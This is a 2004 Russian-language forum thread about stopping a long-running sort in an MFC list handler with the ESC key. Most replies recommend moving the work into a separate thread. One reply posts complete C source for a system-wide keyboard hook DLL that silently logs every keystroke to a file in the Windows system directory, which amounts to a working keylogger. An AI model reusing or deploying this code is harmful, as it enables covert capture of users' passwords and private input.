Alex White
|
|
« : 08-01-2004 12:33 » |
|
Есть обработчик какого-то (наверное, неважно какого, при надобности допишу) сообщения. Ставится задача прервать его нажатием, например, ESC. Если написать обработчик WM_KEYDOWN, то он вызовется только после того, как первый доработает до финиша, что не есть то, что надо. Как поступить ?
|
|
|
Записан
|
|
|
|
ixania
Гость
|
|
« Ответ #1 : 08-01-2004 12:49 » |
|
В совем приложении ставиш хук на клаву, при нажатии ожидаемой клавиши выставить Event в отсигналенное состояние, в обрабочике сообшения в нужных точках проверять состояние Event, прервать обработку сообщения при отсигналенном состоянии евента и ресетить его. Также неплохо было бы иметь еще один Event с ручным ресетом, который бы сигналился при начале обработки сообщения и ресетился при его завершении либо прерывнии, таким образом хук будет знать когда сигналить свой евент при нажатии необходимой клавиши а когда нет, т.е. он точно будет знать когда обрабочик находится в процессе обработки. Да хук не глобальный, только для твоего приложения, иначе над будет проверять если фокус принадлежит твоему окну.
P.S. Может идея бредовая, но думаю может сработать.
|
|
|
Записан
|
|
|
|
Alex White
|
|
« Ответ #2 : 08-01-2004 13:16 » |
|
Смысл в общем-то ясен, только не ясно пока как это написать на VC6 using MFC. И есть ли какие-нить примеры ?
|
|
|
Записан
|
|
|
|
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии
Offline
Пол:
Бодрый птах
|
|
« Ответ #3 : 08-01-2004 13:54 » |
|
Alex White, это невозможно. Обработчик не находится в твоей программе и как только он покидает ее то обработкой занимается система - ОС Виндовс. Тот обработчик ты обязан вызвать иначе вообще не будет работать.
|
|
|
Записан
|
А птичку нашу прошу не обижать!!!
|
|
|
ixania
Гость
|
|
« Ответ #4 : 08-01-2004 14:12 » |
|
Конкретно то что хочешь зделать ты, нету, а вот как:
- писать хуки на клаву - работать с евентами - работать с сообщениями
есть, и по всей видимости, я MFC никогда не использовал, тебе надо будет поменять WinProc для твоего окна и обрабатывать целевое сообщение, ну а иначе нельзя. Напиши где и что тебе непонятно или не знаешь как зделать, поробую помоч.
|
|
|
Записан
|
|
|
|
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии
Offline
Пол:
Бодрый птах
|
|
« Ответ #5 : 08-01-2004 14:16 » |
|
ixania, зачем??? МФС - построен на хуках, никакую функцию менять не надо.
Программная функция WndProc (MFC - DefWindowProc) имеет общий вид
WndProc(message, wParam, lParam) {
Вызов WndProc(); глобального. }
Т.е. при обработке добавленный в каком либо сообщении текст будет обрабатывать перед глобальной процедурой твои данные как надо тебе, и если ты сделаешь return без вызова глобальной процедуры, то она попросту не выполнется.
Все сообщения проходят через эту функцию.
|
|
|
Записан
|
А птичку нашу прошу не обижать!!!
|
|
|
ixania
Гость
|
|
« Ответ #6 : 08-01-2004 14:39 » |
|
Я же писал что с MFC не работал, потому и написал что надо будет менять. А в принципе хотелось бы узнать от автора вопроса зачем это ему надо, может его проблема решается другим путем?
|
|
|
Записан
|
|
|
|
Alex White
|
|
« Ответ #7 : 08-01-2004 15:27 » |
|
Просто хочется прервать действие, которое очень долго выполняется. Я уже попробовал по всякому, включая отлов месаг руками, только ни к чему хорошему это не привело. Поэтому видимо придется писать хуки. По сему прошу пример для хука на клаву.
|
|
|
Записан
|
|
|
|
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии
Offline
Пол:
Бодрый птах
|
|
« Ответ #8 : 08-01-2004 15:31 » |
|
Alex White, тебе не надо делать хук. 1. Скажи точно - какое дейтвие делается долго. 2. Для распределения времени не надо делать все действие в самом обработчике - надо перекладывать его на параллельно текущий оток, который его и сделает. А обработчик будет совбоден. Прервать обработчик свой можно в любой момент, для этого в нем самом пиши алгоритм прерывания. А обработчик который стандартный - не прервешь никогда. А лучше всего не стесняйся - напиши всю задачу целиком - а то какой то процесс зачем то прервать потому как он слишком долгий...
|
|
|
Записан
|
А птичку нашу прошу не обижать!!!
|
|
|
ixania
Гость
|
|
« Ответ #9 : 08-01-2004 15:37 » |
|
Для этого хук должен жить в длл.
текст DLL:
BOOL kdown=false; HANDLE ghDLLInst = 0; // Handle to the DLL's instance. char logname[MAX_PATH]; char sysdir[MAX_PATH]; DWORD NOfBytes; BOOL shift=false; HANDLE LFile; char buffer[20];
BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot) { ghDLLInst = hModule;
switch (dwFunction) { case DLL_PROCESS_ATTACH: {
GetSystemDirectory( sysdir, MAX_PATH );
strcpy(logname,sysdir); strcat(logname,"\\kbdkeys.txt");
} case DLL_PROCESS_DETACH: { }
default: break; } return TRUE; } //------------------------------------------------ LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { BYTE aa[4]; memcpy(aa,&lParam,4); kdown=!(aa[3]&&64); BYTE scancode=aa[2]; BYTE ww[4]; memcpy(ww,&wParam,4);
if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
if(kdown&&(wParam==VK_SHIFT))shift=true;
if(!kdown&&(wParam==VK_SHIFT))shift=false;
if (kdown&&(wParam!=VK_SHIFT)) { sprintf( buffer ,"%c",wParam ); if(isalpha(ww[0])&(!shift))wParam=wParam+32; sprintf( buffer ,"%c",wParam ); if(wParam==VK_RETURN)strcpy(buffer,"\n");
LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); OVERLAPPED ovlp; DWORD ffsze=GetFileSize(LFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze;
WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
CloseHandle(LFile); } return CallNextHookEx(NULL,code,wParam,lParam); } //----------------------------------------------------------------------// текст приложения:
#include <commdlg.h> #include <stdlib.h> #include <winnls.h>
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
//---------------------------------------------------------------------// BOOL SetHook( BOOL fSet ) { static HHOOK hhkKbdHook = NULL; static HANDLE hmodHook;
if (fSet) { if (!hmodHook) { if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл { return FALSE; } }
if (!hhkKbdHook) { if (!(hhkKbdHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC) GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0))) { return FALSE; } }
} else { if (hhkKbdHook) { UnhookWindowsHookEx(hhkKbdHook); hhkKbdHook = NULL; }
}
return TRUE; } //--------------------------------------------------------------------// int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK); MSG msg;
while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } return( 0 ); }
|
|
|
Записан
|
|
|
|
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии
Offline
Пол:
Бодрый птах
|
|
« Ответ #10 : 08-01-2004 15:42 » |
|
Зачем??? Можно делать так...
beginthreadex();
|
|
|
Записан
|
А птичку нашу прошу не обижать!!!
|
|
|
Alex White
|
|
« Ответ #11 : 08-01-2004 15:47 » |
|
Гром, задача такая. Есть СListView, в нем CListCtrl. Его надо отсортировать. Проблема в том, что там может быть 50 000 итемов, а в каждом по 10 полей (больше я не видел, но говорят есть). в общем сортировка выполняется в OnColumnclick(). Ставится задача прервать этот бардак нажатием ESC, если у юзера проц дохловат.
|
|
|
Записан
|
|
|
|
ixania
Гость
|
|
« Ответ #12 : 08-01-2004 16:01 » |
|
Ну в этом случае Гром прав, можно сортировку в отдельный поток и еще нужен ефективный алгоритм сортировки. Еще можно зарание иметь готовые индексы по каждому колумну, при добавлении удалении элементов над обновлять индексы, ели лень такое писать, можно просто инфу держать в БД например dBASE c *CDX фалами для инексов. И что ты все 50 000 в памяти держишь и ведь всеравно ты их грузиш откудато. Короче я за индексы, там сортируется один раз а потом просто обновляются.
|
|
|
Записан
|
|
|
|
Alex White
|
|
« Ответ #13 : 08-01-2004 16:11 » |
|
У меня с сортировкой нет проблем, сортируется довольно быстро (во всяком случае у меня). Суть моей проблемы я уже изложил.
|
|
|
Записан
|
|
|
|
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии
Offline
Пол:
Бодрый птах
|
|
« Ответ #14 : 08-01-2004 18:43 » |
|
Alex White, у CListCtrl есть встроенный сортировщик - который сам по себе выполняется в отдельном потоке вроде. Там колбек функция, отсюда я делаю вывод, что это именно так. Копни сортировку в ней - там всего то - надо задать параметры больше или меньше для поля. Делает мгновенно. И не пудри себе мОзги своей собственной. Делаться будет сортировка по нажатию на заголовок в столбце. Единственная заморочка - при создании списка каждому итему надо присваивать ID такой же как и содержание - винда по нему сортирует... Если все же хочешь сделать сам - то поверь мне старому генералу я пробовал - добавление и перемещение элементов ты будешь делать медленнее чем винда - отвечаю головой.
|
|
|
Записан
|
А птичку нашу прошу не обижать!!!
|
|
|
grozny
Гость
|
|
« Ответ #15 : 08-01-2004 20:56 » |
|
0. Гром прав относительно встроенного сортировщика. Он быстрый и правильный 1. сложность алгоритма быстрой сортировки (quicksort, shellsort, binsort) есть O(NlogN). Поэтому всё, что меньше сотен тыщ элементов, должно сортироваться мгновенно на _любом_ проце, способном удержать Вындусь. В противном случае чё-то сделано не так. Например, используется пузырьковая сортировка , либо доступ к данным неэффективен (список, сортируемый пузырьком из убывающего в возрастающий, ага? ). 2. громоздкие вычислительные задачи - в отдельный трэд, интерфейс - в другой отдельный трэд. Тогда не надо никаких хуков. Хватит пошлых WM_KEYDOWN
|
|
|
Записан
|
|
|
|
Alex White
|
|
« Ответ #16 : 12-01-2004 09:18 » |
|
Вы отошли от темы, но тем не менее у меня кое-какие прояснения появились. Выходит, что проще завершить поток, чем обработчик. Проверено. Так и будет впредь. Всем спасибо
|
|
|
Записан
|
|
|
|
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии
Offline
Пол:
Бодрый птах
|
|
« Ответ #17 : 12-01-2004 17:09 » |
|
Alex White, естественно так как поток - твой - а обработчик - системный. Ты просто учти - что любой эвент (событие) это обычный вызов функции внутри винды. Дальше - по вызову система смотрит в каком порядке выстроились обработчики и вызывает функции по очереди с параметрами. Вот так ты взял, свой включил до системного, когда твой обработчик отработал, то ты теряешь контроль за течением твоей программы. Другое дело поток, в который ты ставишь обработчик своего события - вернее это может быть все что угодно, как реакция на происходящее. Тогда ты всегда контролируешь происходящее в тобой созданном потоке и можешь сделать корректный выход при (например) условии избыточного времени на обработку, или при получении неверных данных в процессе обработки и т.д. и т.п. Вот Заходи, если что.
|
|
|
Записан
|
А птичку нашу прошу не обижать!!!
|
|
|
|